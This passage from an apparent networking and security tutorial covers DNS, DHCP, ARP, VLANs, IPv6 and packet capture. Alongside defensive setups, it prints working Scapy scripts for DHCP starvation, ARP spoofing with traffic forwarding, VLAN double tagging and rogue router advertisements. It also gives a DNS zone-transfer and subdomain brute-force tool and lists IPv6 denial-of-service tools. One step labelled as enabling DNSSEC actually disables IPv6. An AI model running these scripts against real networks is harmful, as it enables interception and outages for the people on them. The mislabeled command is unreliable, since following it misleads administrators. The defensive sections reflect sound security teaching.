- TLD servers: Manage top-level domains (.com, .org, etc.)
- Authoritative servers: Provide answers for specific domains
- Recursive resolvers: Perform queries on behalf of clients
- Caching servers: Store results temporarily
Common Record Types:
# A - IPv4 address
example.com. 3600 IN A 192.168.1.10
# AAAA - IPv6 address
example.com. 3600 IN AAAA 2001:db8::1
# CNAME - Canonical name (alias)
www.example.com. 3600 IN CNAME example.com.
# MX - Mail exchange
example.com. 3600 IN MX 10 mail.example.com.
# NS - Name server
example.com. 3600 IN NS ns1.example.com.
# PTR - Pointer (reverse DNS)
1.10.168.192.in-addr.arpa. 3600 IN PTR example.com.
# SOA - Start of Authority
example.com. 3600 IN SOA ns1.example.com. admin.example.com. (
2024010101 ; serial
7200 ; refresh
3600 ; retry
86400 ; expire
3600 ; minimum TTL
)
# TXT - Text record
example.com. 3600 IN TXT "v=spf1 mx ~all"
# SRV - Service record
_sip._tcp.example.com. 3600 IN SRV 10 5 5060 sipserver.example.com.
# CAA - Certification Authority Authorization
example.com. 3600 IN CAA 0 issue "letsencrypt.org"Recursive Query Flow:
1. Client queries resolver for www.example.com
2. Resolver queries root server for .com
3. Root server refers to .com TLD servers
4. Resolver queries .com TLD server for example.com
5. .com TLD server refers to example.com nameservers
6. Resolver queries example.com authoritative server
7. Authoritative server returns A record for www
8. Resolver caches result and returns to client
DNS Query Types:
- Recursive: Resolver performs full resolution
- Iterative: Server returns referrals
- Non-recursive: Server returns cached or authoritative answer
DNS Debugging Tools:
# dig (domain information groper)
dig example.com
dig example.com A
dig example.com MX
dig +trace example.com # Show full resolution path
dig @8.8.8.8 example.com # Query specific resolver
# nslookup
nslookup example.com
nslookup -type=MX example.com
nslookup 8.8.8.8 # Reverse lookup
# host
host example.com
host -t AAAA example.com
host -l example.com # Zone transfer (if allowed)
# DNS zone transfer
dig axfr @ns1.example.com example.com
host -l example.com ns1.example.comDNSSEC (DNS Security Extensions):
# Check DNSSEC status
dig +dnssec example.com
delv example.com # DNSSEC validator
# Verify with DNSViz
# https://dnsviz.net/DNS over HTTPS/TLS:
# Using systemd-resolved
systemctl enable systemd-resolved
systemctl start systemd-resolved
# /etc/systemd/resolved.conf
[Resolve]
DNS=9.9.9.9#dns.quad9.net 8.8.8.8#dns.google
DNSOverTLS=yes
DNSSEC=yes
# Test
resolvectl query example.com
resolvectl statisticsDNS Cache Poisoning Prevention:
# Enable DNSSEC validation
sysctl -w net.ipv6.conf.all.disable_ipv6=1
# Use secure resolvers
echo "nameserver 9.9.9.9" > /etc/resolv.conf # Quad9
echo "nameserver 1.1.1.1" >> /etc/resolv.conf # Cloudflare
# Randomize source ports (modern resolvers do this)
sysctl -w net.ipv4.ip_local_port_range="32768 60999"DNS Enumeration Script:
#!/usr/bin/env python3
# dns_enum.py
import dns.resolver
import dns.zone
import dns.query
import sys
from concurrent.futures import ThreadPoolExecutor
class DNSEnumerator:
def __init__(self, domain, dns_server='8.8.8.8'):
self.domain = domain
self.resolver = dns.resolver.Resolver()
self.resolver.nameservers = [dns_server]
self.resolver.timeout = 2
self.resolver.lifetime = 2
def query_record(self, record_type):
try:
answers = self.resolver.resolve(self.domain, record_type)
return [str(r) for r in answers]
except Exception as e:
return []
def enumerate_records(self):
record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV']
print(f"DNS Enumeration for {self.domain}")
print("=" * 50)
for rtype in record_types:
records = self.query_record(rtype)
if records:
print(f"\n{rtype} Records:")
for record in records:
print(f" {record}")
def brute_force_subdomains(self, wordlist_file):
print(f"\nBrute-forcing subdomains of {self.domain}")
try:
with open(wordlist_file, 'r') as f:
subdomains = [line.strip() for line in f]
except FileNotFoundError:
print(f"Wordlist not found: {wordlist_file}")
return
found = []
def check_subdomain(sub):
try:
target = f"{sub}.{self.domain}"
answers = self.resolver.resolve(target, 'A')
if answers:
ip = str(answers[0])
print(f"Found: {target} -> {ip}")
return (target, ip)
except:
pass
return None
with ThreadPoolExecutor(max_workers=20) as executor:
results = executor.map(check_subdomain, subdomains)
found = [r for r in results if r]
print(f"\nFound {len(found)} subdomains")
return found
def attempt_zone_transfer(self):
print(f"\nAttempting zone transfer for {self.domain}")
try:
# Get NS records
ns_records = self.query_record('NS')
for ns in ns_records:
ns = str(ns).rstrip('.')
print(f"Trying nameserver: {ns}")
try:
zone = dns.zone.from_xfr(dns.query.xfr(ns, self.domain))
if zone:
print(f"Zone transfer successful from {ns}!")
for name, node in zone.nodes.items():
rdataset = node.rdatasets[0]
print(f" {name} -> {rdataset}")
except Exception as e:
print(f" Failed: {e}")
except Exception as e:
print(f"Zone transfer failed: {e}")
def reverse_lookup(self, subnet):
"""Reverse DNS lookup for subnet"""
print(f"\nReverse lookup for {subnet}")
from ipaddress import ip_network
try:
network = ip_network(subnet)
for ip in network.hosts():
try:
rev = dns.reversename.from_address(str(ip))
answers = self.resolver.resolve(rev, 'PTR')
print(f"{ip} -> {answers[0]}")
except:
pass
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: dns_enum.py <domain> [wordlist]")
sys.exit(1)
domain = sys.argv[1]
dns_enum = DNSEnumerator(domain)
# Basic enumeration
dns_enum.enumerate_records()
# Zone transfer attempt
dns_enum.attempt_zone_transfer()
# Subdomain brute force
if len(sys.argv) > 2:
dns_enum.brute_force_subdomains(sys.argv[2])Dynamic Host Configuration Protocol automates network configuration for hosts.
DORA Process:
- Discover (client broadcast): "I need an IP"
- Offer (server): "Here's an IP you can use"
- Request (client): "I'll take that IP"
- Ack (server): "Confirmed, here are the details"
DHCP Packet Structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| op (1) | htype (1) | hlen (1) | hops (1) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| xid (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| secs (2) | flags (2) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ciaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| yiaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| siaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| giaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| chaddr (16) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| sname (64) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| file (128) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| options (variable) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
DHCP Options:
- 1: Subnet mask
- 3: Router (default gateway)
- 6: DNS servers
- 15: Domain name
- 51: IP address lease time
- 53: DHCP message type
- 54: Server identifier
- 55: Parameter request list
- 255: End
ISC DHCP Server:
# Install DHCP server
apt install isc-dhcp-server
# Configure /etc/dhcp/dhcpd.conf
cat > /etc/dhcp/dhcpd.conf << EOF
# Global options
option domain-name "example.com";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
authoritative;
# Subnet configuration
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.100 192.168.1.200;
option routers 192.168.1.1;
option broadcast-address 192.168.1.255;
}
# Static lease for specific host
host printer {
hardware ethernet 00:11:22:33:44:55;
fixed-address 192.168.1.50;
option host-name "office-printer";
}
EOF
# Specify interface
echo 'INTERFACESv4="eth0"' >> /etc/default/isc-dhcp-server
# Start service
systemctl enable isc-dhcp-server
systemctl start isc-dhcp-serverdnsmasq (Lightweight DHCP/DNS):
# Install dnsmasq
apt install dnsmasq
# Configure /etc/dnsmasq.conf
cat >> /etc/dnsmasq.conf << EOF
# DHCP range
dhcp-range=192.168.1.100,192.168.1.200,12h
# Gateway
dhcp-option=3,192.168.1.1
# DNS servers
dhcp-option=6,8.8.8.8,8.8.4.4
# Static leases
dhcp-host=00:11:22:33:44:55,printer,192.168.1.50
# Domain
domain=example.com
# Logging
log-dhcp
EOF
systemctl enable dnsmasq
systemctl start dnsmasqDHCP Client Tools:
# Release and renew
dhclient -r eth0 # Release
dhclient eth0 # Renew
# Using dhcpcd
apt install dhcpcd5
dhcpcd eth0
# Using NetworkManager
nmcli device reapply eth0
nmcli device connect eth0
# Manual DHCP request
dhcp-lease-list # View leasesDHCP Starvation Attack:
#!/usr/bin/env python3
# dhcp_starvation.py
# EDUCATIONAL ONLY - Do not use without permission
from scapy.all import *
from random import randint
import time
def random_mac():
return RandMAC()
def dhcp_starvation(iface, count=100):
print(f"Starting DHCP starvation on {iface}")
for i in range(count):
# Create DHCP discover packet
mac = random_mac()
dhcp_discover = (
Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=[mac.replace(':', '')], xid=randint(1, 2**32)) /
DHCP(options=[("message-type", "discover"), "end"])
)
sendp(dhcp_discover, iface=iface, verbose=0)
if i % 10 == 0:
print(f"Sent {i} DHCP discovers")
time.sleep(0.1)
print("DHCP starvation completed")
# Protection: Enable DHCP snooping on switchesRogue DHCP Server Detection:
# Detect unauthorized DHCP servers
dhcpdump -i eth0
tcpdump -i eth0 -v -s 1500 'port 67 or port 68'
# Using nmap
nmap --script broadcast-dhcp-discover
# Using dhcping
dhcping -s 192.168.1.1DHCP Snooping Configuration (Cisco):
! Enable DHCP snooping
ip dhcp snooping
ip dhcp snooping vlan 1-100
! Trust only specific ports
interface GigabitEthernet0/1
ip dhcp snooping trust
! Rate limit DHCP packets
interface GigabitEthernet0/2
ip dhcp snooping limit rate 10
Address Resolution Protocol maps IP addresses to MAC addresses on local networks.
ARP Request/Reply:
Host A (192.168.1.10) wants to send to Host B (192.168.1.20):
1. Host A checks ARP cache - no entry for 192.168.1.20
2. Host A broadcasts ARP request:
"Who has 192.168.1.20? Tell 192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)"
3. Host B sees request, responds unicast:
"192.168.1.20 is at BB:BB:BB:BB:BB:BB"
4. Host A updates ARP cache, sends packet
ARP Packet Structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Hardware Type (1) | Protocol Type (0x0800) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| HW Len (6) | Prot Len (4) | Operation |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sender Hardware Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sender Protocol Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Target Hardware Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Target Protocol Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ARP Cache Management:
# View ARP cache
arp -n
ip neigh show
# Add static ARP entry
arp -s 192.168.1.50 00:11:22:33:44:55
ip neigh add 192.168.1.50 lladdr 00:11:22:33:44:55 nud permanent
# Delete ARP entry
arp -d 192.168.1.50
ip neigh del 192.168.1.50 dev eth0
# Flush ARP cache
ip neigh flush allARP Spoofing Attack:
#!/usr/bin/env python3
# arp_spoof.py
# EDUCATIONAL ONLY - For authorized testing only
from scapy.all import *
import time
import sys
def get_mac(ip, iface):
"""Get MAC address for IP"""
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = srp(arp_request_broadcast, timeout=1, iface=iface, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
return None
def arp_spoof(target_ip, spoof_ip, iface):
"""Send ARP spoofing packets"""
target_mac = get_mac(target_ip, iface)
if not target_mac:
print(f"Could not get MAC for {target_ip}")
return
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=False)
print(f"Sent spoofed ARP to {target_ip}: {spoof_ip} is at our MAC")
def restore(target_ip, source_ip, iface):
"""Restore ARP tables"""
target_mac = get_mac(target_ip, iface)
source_mac = get_mac(source_ip, iface)
if target_mac and source_mac:
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip, hwsrc=source_mac)
send(packet, count=4, verbose=False)
print("ARP tables restored")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: arp_spoof.py <target> <gateway> <interface>")
sys.exit(1)
target = sys.argv[1]
gateway = sys.argv[2]
iface = sys.argv[3]
# Enable IP forwarding
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('1')
try:
print(f"Starting ARP spoof: {target} <-> {gateway}")
while True:
arp_spoof(target, gateway, iface)
arp_spoof(gateway, target, iface)
time.sleep(2)
except KeyboardInterrupt:
print("\nRestoring ARP tables...")
restore(target, gateway, iface)
restore(gateway, target, iface)ARP Spoof Detection:
# Monitor for ARP anomalies
arpwatch -i eth0
tcpdump -i eth0 arp and arp[6:2] != 2 # Show ARP replies
# Using arp-scan for duplicate MACs
arp-scan --local
# Python detection script
cat > arp_detect.py << EOF
#!/usr/bin/env python3
from scapy.all import *
import time
arp_table = {}
def arp_monitor(pkt):
if ARP in pkt and pkt[ARP].op == 2: # ARP reply
ip = pkt[ARP].psrc
mac = pkt[ARP].hwsrc
if ip in arp_table:
if arp_table[ip] != mac:
print(f"[!] ARP spoofing detected!")
print(f" IP: {ip}")
print(f" Old MAC: {arp_table[ip]}")
print(f" New MAC: {mac}")
else:
arp_table[ip] = mac
print(f"[+] Added {ip} -> {mac}")
print("Monitoring for ARP spoofing...")
sniff(prn=arp_monitor, filter="arp", store=0)
EOF
chmod +x arp_detect.py
./arp_detect.pyStatic ARP Entries:
# Add static ARP for critical hosts
ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
echo "192.168.1.1 00:11:22:33:44:55" >> /etc/ethers
# Make permanent
cat >> /etc/network/interfaces << EOF
post-up ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
EOFARP Filtering with ebtables:
# Prevent ARP spoofing with ebtables
apt install ebtables
# Allow only specific MAC-IP pairs
ebtables -A FORWARD -p ARP --arp-ip-src 192.168.1.10 --arp-mac-src AA:BB:CC:DD:EE:FF -j ACCEPT
ebtables -A FORWARD -p ARP -j DROP
# Rate limit ARP
ebtables -A FORWARD -p ARP -m limit --limit 1/second -j ACCEPT
ebtables -A FORWARD -p ARP -j DROPVirtual LANs segment networks at layer 2 for security and performance.
802.1Q VLAN Tag:
Standard Ethernet Frame:
| Dest MAC | Src MAC | Type | Data | FCS |
802.1Q Tagged Frame:
| Dest MAC | Src MAC | TPID | TCI | Type | Data | FCS |
TPID: Tag Protocol ID (0x8100)
TCI: Tag Control Information
- Priority (3 bits)
- CFI (1 bit) - Canonical Format Indicator
- VLAN ID (12 bits) - 1-4094
VLAN Types:
- Access port: Carries traffic for single VLAN
- Trunk port: Carries multiple VLANs (tagged)
- Native VLAN: Untagged traffic on trunk
Creating VLAN Interfaces:
# Install VLAN tools
apt install vlan
modprobe 8021q
# Create VLAN interface
ip link add link eth0 name eth0.10 type vlan id 10
ip link set eth0.10 up
ip addr add 192.168.10.100/24 dev eth0.10
# Using vconfig (legacy)
vconfig add eth0 20
ifconfig eth0.20 up
# Permanent configuration (Debian)
cat >> /etc/network/interfaces << EOF
auto eth0.10
iface eth0.10 inet static
address 192.168.10.100
netmask 255.255.255.0
vlan-raw-device eth0
EOFVLAN Bridging:
# Create bridge with VLANs
ip link add name br0 type bridge
ip link set dev eth0 master br0
ip link set dev eth0.10 master br0
ip link set dev eth0.20 master br0
# VLAN filtering on bridge
ip link set br0 type bridge vlan_filtering 1
bridge vlan add dev eth0 vid 10 pvid untagged
bridge vlan add dev eth0 vid 20
bridge vlan add dev eth0.10 vid 10Double Tagging Attack:
#!/usr/bin/env python3
# vlan_hopping.py
# EDUCATIONAL ONLY
from scapy.all import *
import sys
def double_tagged_packet(target_mac, src_mac, outer_vlan, inner_vlan, dst_ip):
"""Create double-tagged 802.1Q packet"""
# Outer tag (visible to first switch)
outer_tag = Dot1Q(vlan=outer_vlan)
# Inner tag (visible after removing outer tag)
inner_tag = Dot1Q(vlan=inner_vlan)
packet = (
Ether(src=src_mac, dst=target_mac) /
outer_tag /
inner_tag /
IP(dst=dst_ip) /
ICMP()
)
return packet
if __name__ == "__main__":
if len(sys.argv) != 5:
print("Usage: vlan_hopping.py <target_mac> <src_mac> <outer_vlan> <inner_vlan>")
sys.exit(1)
packet = double_tagged_packet(
sys.argv[1], sys.argv[2],
int(sys.argv[3]), int(sys.argv[4]),
"192.168.1.100"
)
sendp(packet, iface="eth0", count=1)
print("Double-tagged packet sent")VLAN Trunking Protocol (VTP) Attacks:
# VTP attacks (Cisco-specific)
# - VTP domain spoofing
# - VTP password cracking
# - Revision number attacks
# Protection:
# - Disable VTP or use VTP version 3 with authentication
# - Set VTP mode to transparent
# - Use dedicated VLAN for trunk portsVLAN Security Best Practices:
# Disable DTP (Dynamic Trunking Protocol) on Cisco
interface GigabitEthernet0/1
switchport mode access
switchport nonegotiate
# Use dedicated native VLAN (not VLAN 1)
interface GigabitEthernet0/1
switchport trunk native vlan 999
# Prune unused VLANs on trunk
switchport trunk allowed vlan 10,20,30
# Enable VLAN access maps
vlan access-map block-arp 10
match ip address 101
action dropIPv6 is the next generation Internet Protocol, with significant differences from IPv4.
IPv6 Address Format:
2001:0db8:85a3:0000:0000:8a2e:0370:7334
Compression rules:
- Leading zeros can be omitted
- One double colon (::) replaces consecutive zero blocks
2001:db8:85a3::8a2e:370:7334
IPv6 Address Types:
- Global Unicast: 2000::/3 (public internet)
- Unique Local: fc00::/7 (private, like IPv4 RFC1918)
- Link-Local: fe80::/10 (autoconfigured on each interface)
- Multicast: ff00::/8
- Loopback: ::1
- Unspecified: ::
- IPv4-mapped: ::ffff:192.168.1.1
IPv6 Address Configuration:
# Show IPv6 addresses
ip -6 addr show
ifconfig
# Add IPv6 address
ip -6 addr add 2001:db8::100/64 dev eth0
# SLAAC (Stateless Autoconfiguration)
sysctl -w net.ipv6.conf.eth0.accept_ra=2
sysctl -w net.ipv6.conf.eth0.autoconf=1
# DHCPv6
apt install dhcpcd5
dhcpcd -6 eth0NDP replaces ARP, ICMP Router Discovery, and ICMP Redirect in IPv6.
NDP Message Types:
- Router Solicitation (RS): Hosts ask for routers
- Router Advertisement (RA): Routers advertise themselves
- Neighbor Solicitation (NS): Like ARP request
- Neighbor Advertisement (NA): Like ARP reply
- Redirect: Better next-hop
NDP Operations:
#!/usr/bin/env python3
# ipv6_ndp.py
from scapy.all import *
import sys
def send_router_advertisement(iface, prefix="2001:db8::/64"):
"""Send malicious RA (for testing)"""
ra = (
IPv6(src="fe80::1", dst="ff02::1") /
ICMPv6ND_RA(routerlifetime=1800, reachabletime=0, retranstimer=0) /
ICMPv6NDOptPrefixInfo(prefix=prefix.split('/')[0], prefixlen=int(prefix.split('/')[1]),
validlifetime=86400, preferredlifetime=14400, flags=0xC0) /
ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
)
send(ra, iface=iface)
print(f"Sent router advertisement for {prefix}")
def neighbor_solicitation(target_ip, iface):
"""Perform neighbor discovery"""
# Get source MAC
src_mac = get_if_hwaddr(iface)
# Create neighbor solicitation
ns = (
IPv6(src=get_if_addr6(iface), dst=target_ip) /
ICMPv6ND_NS(tgt=target_ip) /
ICMPv6NDOptSrcLLAddr(lladdr=src_mac)
)
reply = sr1(ns, iface=iface, timeout=2)
if reply and ICMPv6ND_NA in reply:
mac = reply[ICMPv6NDOptDstLLAddr].lladdr
print(f"{target_ip} is at {mac}")
return mac
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: ipv6_ndp.py <command> [options]")
sys.exit(1)
if sys.argv[1] == "ra":
send_router_advertisement(sys.argv[2])
elif sys.argv[1] == "ns":
neighbor_solicitation(sys.argv[2], sys.argv[3])NDP Security:
# Disable ICMP redirects
sysctl -w net.ipv6.conf.all.accept_redirects=0
sysctl -w net.ipv6.conf.all.secure_redirects=0
# RA Guard (on switches)
ipv6 nd raguard
# SEND (SEcure Neighbor Discovery)
# Requires certificates, rarely implementedDual Stack: Both IPv4 and IPv6 running simultaneously
# Enable IPv6 forwarding
sysctl -w net.ipv6.conf.all.forwarding=1
# Check dual stack
ping -4 google.com
ping -6 google.comTunneling:
# 6to4 tunnel (automatic)
ip tunnel add tun6to4 mode sit remote any local 192.168.1.100 ttl 255
ip link set tun6to4 up
ip -6 addr add 2002:c0a8:164::1/16 dev tun6to4
ip -6 route add ::/0 dev tun6to4
# Manual GRE tunnel
ip tunnel add gre1 mode gre remote 192.168.1.200 local 192.168.1.100
ip link set gre1 up
ip addr add 10.0.0.1/30 dev gre1NAT64/DNS64:
# Install NAT64 gateway
apt install tayga
# Configure /etc/tayga.conf
cat > /etc/tayga.conf << EOF
tun-device nat64
ipv4-addr 192.168.255.1
prefix 64:ff9b::/96
dynamic-pool 192.168.255.0/24
data-dir /var/db/tayga
EOFIPv6 Network Scanning:
# Scan IPv6 network
nmap -6 -sS 2001:db8::/120
# Alive hosts detection
alive6 eth0
# Scan for open services
scan6 -i eth0 -d 2001:db8::/64 -LIPv6 Attack Tools:
# THC-IPv6 toolkit
apt install thc-ipv6
# Available tools
alive6 # Find alive hosts
dos-new-ip6 # DoS by claiming new IPs
fake_router6 # Fake router advertisements
flood_router6 # Flood with RAs
fragmentation6 # Fragmentation attacks
kill_router6 # Kill IPv6 routers
redir6 # Redirect traffic
rsmurf6 # Smurf attack in IPv6
smurf6 # IPv6 smurf
thcping6 # Ping with custom options
toobig6 # MTU issues
# Example: Fake router advertisement
fake_router6 -A 2001:db8::/64 eth0IPv6 Firewall with ip6tables:
# Basic IPv6 firewall
ip6tables -P INPUT DROP
ip6tables -P FORWARD DROP
ip6tables -P OUTPUT ACCEPT
# Allow ICMPv6 (required for NDP)
ip6tables -A INPUT -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -m limit --limit 1/sec -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
# Allow established connections
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow specific services
ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT
ip6tables -A INPUT -p tcp --dport 80 -j ACCEPT
ip6tables -A INPUT -p tcp --dport 443 -j ACCEPT
# Log drops
ip6tables -A INPUT -j LOG --log-prefix "IPv6-DROP: "Packet analysis is essential for network troubleshooting, security monitoring, and penetration testing.
tcpdump Fundamentals:
# Basic capture
tcpdump -i eth0
tcpdump -i eth0 -c 100 # Capture 100 packets
# Save to file
tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap # Read file
# Filter expressions
tcpdump host 192.168.1.100
tcpdump port 80
tcpdump src 192.168.1.1 and dst port 443
tcpdump 'tcp[13] & 2 != 0' # TCP SYN packets
# Verbose output
tcpdump -v
tcpdump -vv
tcpdump -vvv
# Display packet contents
tcpdump -X # Hex and ASCII
tcpdump -A # ASCII onlyWireshark/TShark:
# Install
apt install wireshark tshark
# Capture with tshark
tshark -i eth0
tshark -i eth0 -c 100 -w capture.pcap
# Filters
tshark -Y "http.request.method == GET"
tshark -Y "ip.src == 192.168.1.100"
tshark -Y "tcp.port == 443"
# Statistics
tshark -r capture.pcap -z io,stat,1
tshark -r capture.pcap -z endpoints,ip
tshark -r capture.pcap -z conv,tcp
# Follow streams
tshark -r capture.pcap -q -z follow,tcp,ascii,0Protocol Analysis with Scapy:
#!/usr/bin/env python3
# packet_analyzer.py
from scapy.all import *
from collections import Counter
def analyze_pcap(pcap_file):
"""Analyze pcap file and generate statistics"""
packets = rdpcap(pcap_file)
print(f"Total packets: {len(packets)}")
# Protocol distribution
protocols = Counter()
for pkt in packets:
if IP in pkt:
protocols['IPv4'] += 1
elif IPv6 in pkt:
protocols['IPv6'] += 1
elif ARP in pkt:
protocols['ARP'] += 1
print("\nProtocol Distribution:")
for proto, count in protocols.most_common():
print(f" {proto}: {count} ({count/len(packets)*100:.1f}%)")
# TCP Flags analysis
tcp_flags = Counter()
for pkt in packets:
if TCP in pkt:
flags = pkt[TCP].flags
tcp_flags[flags] += 1
print("\nTCP Flags:")
for flags, count in tcp_flags.most_common():
print(f" 0x{flags:02x}: {count}")
# Top talkers
ips = Counter()
for pkt in packets:
if IP in pkt:
ips[pkt[IP].src] += 1
ips[pkt[IP].dst] += 1
print("\nTop Talkers:")
for ip, count in ips.most_common(10):
print(f" {ip}: {count} packets")
# Extract HTTP requests
print("\nHTTP Requests:")
for pkt in packets:
if TCP in pkt and pkt[TCP].dport == 80 and Raw in pkt:
payload = pkt[Raw].load.decode('utf-8', errors='ignore')
if payload.startswith('GET') or payload.startswith('POST'):
print(f" {payload.split()[0]} {payload.split()[1]}")
def extract_files(pcap_file):
"""Extract files from network traffic"""
packets = rdpcap(pcap_file)
# Extract HTTP objects
import re
for i, pkt in enumerate(packets):
if TCP in pkt and Raw in pkt:
payload = bytes(pkt[Raw].load)
# Look for common file signatures
signatures = {
b'\x89PNG\r\n\x1a\n': 'png',
b'\xff\xd8\xff': 'jpg',
b'PK\x03\x04': 'zip',
b'%PDF': 'pdf',
}
for sig, ext in signatures.items():
if payload.startswith(sig):
filename = f"extracted_{i}.{ext}"
with open(filename, 'wb') as f:
f.write(payload)
print(f"Extracted: {filename}")
break
def detect_anomalies(pcap_file):
"""Detect network anomalies"""
packets = rdpcap(pcap_file)
# SYN flood detection
syn_packets = {}
for pkt in packets:
if TCP in pkt and pkt[TCP].flags == 'S':
src = pkt[IP].src
syn_packets[src] = syn_packets.get(src, 0) + 1
print("Potential SYN floods:")
for src, count in syn_packets.items():
if count > 100:
print(f" {src}: {count} SYN packets")
# Port scan detection
port_scans = {}
for pkt in packets:
if TCP in pkt:
src = pkt[IP].src
dst_port = pkt[TCP].dport
if src not in port_scans:
port_scans[src] = set()
port_scans[src].add(dst_port)
print("\nPotential port scans:")
for src, ports in port_scans.items():
if len(ports) > 20:
print(f" {src}: {len(ports)} ports")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: packet_analyzer.py <pcap_file>")
sys.exit(1)
analyze_pcap(sys.argv[1])
extract_files(sys.argv[1])
detect_anomalies(sys.argv[1])Flow Analysis with nfdump:
# Install nfdump
apt install nfdump
# Capture flows (on router/switch)
# Configure NetFlow/sFlow export
# Analyze flows
nfdump -r nfcapd.202401011200
nfdump -r nfcapd.202401011200 -s ip/flows
nfdump -r nfcapd.202401011200 -s record/bytes
# Top talkers
nfdump -r nfcapd.202401011200 -s ip/bytes
# Filter by port
nfdump -r nfcapd.202401011200 'port 22'PCAP Analysis Commands:
# Count packets
capinfos capture.pcap
# Extract specific conversations
editcap -A 2024-01-01T10:00:00 -B 2024-01-01T11:00:00 capture.pcap window.pcap
# Merge pcap files
mergecap -w merged.pcap file1.pcap file2.pcap
# Split pcap file
tcpdump -r large.pcap -w small.pcap -C 100 # 100MB files
# Filter with tcpslice
tcpslice -R +60 capture.pcap # First 60 secondsNetwork Monitoring with ntopng:
# Install ntopng
apt install ntopng
# Configure
cat > /etc/ntopng/ntopng.conf << EOF
--interface=eth0
--interface=eth1
--http-port=3000
--local-networks="192.168.0.0/16,10.0.0.0/8"
EOF
# Start
systemctl enable ntopng
systemctl start ntopng
# Access at http://localhost:3000IDS/IPS with Suricata:
# Install Suricata
apt install suricata
# Configure
cat > /etc/suricata/suricata.yaml << EOF
af-packet:
- interface: eth0
cluster-id: 99
cluster-type: cluster_flow
defrag: yes
default-log-dir: /var/log/suricata/
rules:
